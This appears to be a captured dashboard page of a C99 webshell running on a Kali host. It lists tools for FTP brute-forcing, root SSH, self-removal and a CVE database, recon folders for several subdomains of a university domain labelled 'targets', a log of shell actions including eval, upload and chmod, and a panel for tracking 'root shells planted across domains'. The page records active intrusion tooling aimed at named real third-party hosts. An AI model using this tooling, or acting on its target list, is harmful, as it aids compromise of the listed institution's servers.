C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 08:13:52

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64  

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)

FilesCustom ToolsTargetsSysMonWatchReconCommanderOrigin IPSSH RootTermCoverPushEncoderToolsProc.FTP bruteSec.SQLPHP-codeSystemUpdateFeedbackSelf removeCVE DBLogout


INTEGRITY WATCH webshell safety · intrusion captureWatched: 4733Intact: 323Tampered: 1455New: 2955Missing: 0
Files watched4733
Intact323
Tampered1455
New files2955
Missing0
↻ Re-scan

File integrity — webshell safety

FileSizeModifiedSHA256Status
/var/www/html/c99shell.php329.88 KB03/08/2026 07:30ceed408fc5f4TAMPERED
/var/www/html/mysqli_compat.php16.49 KB03/08/2026 06:35eb1cbabaacd8TAMPERED
/var/www/html/dashboard_index.php15.61 KB03/08/2026 07:47e77c53b85a79TAMPERED
/var/www/html/srv_dump.php305 B03/08/2026 04:538431ba3d0257NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/recon.json228 B03/08/2026 07:592e6911246984NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/info.txt15 B03/08/2026 07:59fb97dce3f0baTAMPERED
/var/www/html/targets/cpanel.ppm.untan.ac.id/recon.json220 B03/08/2026 07:58db8cb3d185ebNEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/info.txt15 B03/08/2026 07:58fb97dce3f0baTAMPERED
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/recon.json225 B03/08/2026 07:58bec4b8f9a854NEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/info.txt15 B03/08/2026 07:58fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.skpp.untan.ac.id/recon.json222 B03/08/2026 08:00d6638c5ef73cNEW
/var/www/html/targets/webmail.skpp.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.skpp.untan.ac.id/info.txt15 B03/08/2026 08:00fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.management.untan.ac.id/recon.json228 B03/08/2026 08:001fad4519f872NEW
/var/www/html/targets/webmail.management.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.management.untan.ac.id/info.txt15 B03/08/2026 08:00fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.icb.untan.ac.id/recon.json221 B03/08/2026 08:00a521f42565feNEW
showing first 20 of 4410 changes

Intrusion log — every device that hit this agent

Total hits10061
Unique IPs3
Suspicious53
 
 
top IPs:172.17.0.1 x9866 10.217.96.182 x179 127.0.0.1 x16
TimeIPMethodPath / actionAgentFlag
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=watch&hip=172.17.0.1 [watch]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=processes&d=%2Fdev%2Fpts%2F&processes_sort=5d [processes]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=update&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main%2F [update]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=fsbuff&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main%2F [fsbuff]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=update&d=%2Fvar%2Fwww%2Fhtml%2Fcommander%2F [update]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=fsbuff&d=%2Fvar%2Fwww%2Fhtml%2Fcommander%2F [fsbuff]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=6a [processes]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=upload&d=%2Fvar%2Fwww%2Fhtml%2Fcovers [upload]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml%2F__pycache__&f=recon_engine.cpython-313.pyc [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:52172.17.0.1GET/c99shell.php?act=processes&d=%2Fdev%2Fpts%2F&processes_sort=6d [processes]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:51172.17.0.1GET/c99shell.php?act=update&d=%2Fusr%2Flib%2Fx86_64-linux-gnu%2Fkrb5%2F [update]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:51172.17.0.1GET/c99shell.php?act=upload&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main [upload]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:51172.17.0.1GET/c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server&f=Dockerfile [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:51172.17.0.1GET/c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=9a [processes]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:13:51172.17.0.1GET/c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=22a [processes]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
Page 1 / 658 — 9866 entries[Next >]
live tail — last 25 hits 
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=watch&hip=172.17.0.1 (watch)
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fdev%2Fpts%2F&processes_sort=5d (processes)
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=update&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main%2F (update)
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=fsbuff&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main%2F (fsbuff)
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=update&d=%2Fvar%2Fwww%2Fhtml%2Fcommander%2F (update)
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=fsbuff&d=%2Fvar%2Fwww%2Fhtml%2Fcommander%2F (fsbuff)
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=6a (processes)
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=upload&d=%2Fvar%2Fwww%2Fhtml%2Fcovers (upload)
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml%2F__pycache__&f=recon_engine.cpython-313.pyc (chmod)
[03/08 08:13:52] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fdev%2Fpts%2F&processes_sort=6d (processes)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=update&d=%2Fusr%2Flib%2Fx86_64-linux-gnu%2Fkrb5%2F (update)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=upload&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main (upload)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server&f=Dockerfile (chmod)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=9a (processes)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=22a (processes)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main&f=rome-shell.php (chmod)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml%2F.git&f=logs (chmod)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=28a (processes)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=17a (processes)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=feedback&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main%2F (feedback)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=eval&d=%2Fvar%2Fwww%2Fhtml%2Fcovers%2F (eval)
[03/08 08:13:51] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fusr%2Flib%2Fx86_64-linux-gnu%2Fbfd-plugins%2F&sort=2d (ls)
[03/08 08:13:50] 172.17.0.1 GET /c99shell.php?act=fsbuff&d=%2Fusr%2Flib%2Fx86_64-linux-gnu%2Fkrb5%2Fplugins%2F (fsbuff)
[03/08 08:13:48] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fdev%2Fpts%2F&processes_sort=2d (processes)
[03/08 08:13:48] 172.17.0.1 GET /c99shell.php?act=upload&d=%2Fusr%2Flib%2Fx86_64-linux-gnu%2Fkrb5%2F (upload)
🔴 LIVE

Root shells planted across domains

Domains with shells.txt0
Registered heartbeats1
Alive1
↻ Heartbeat check all
DomainShells.txtShell URLLast checkCodeAlive

Register / update shell URL

Domain:  Shell URL: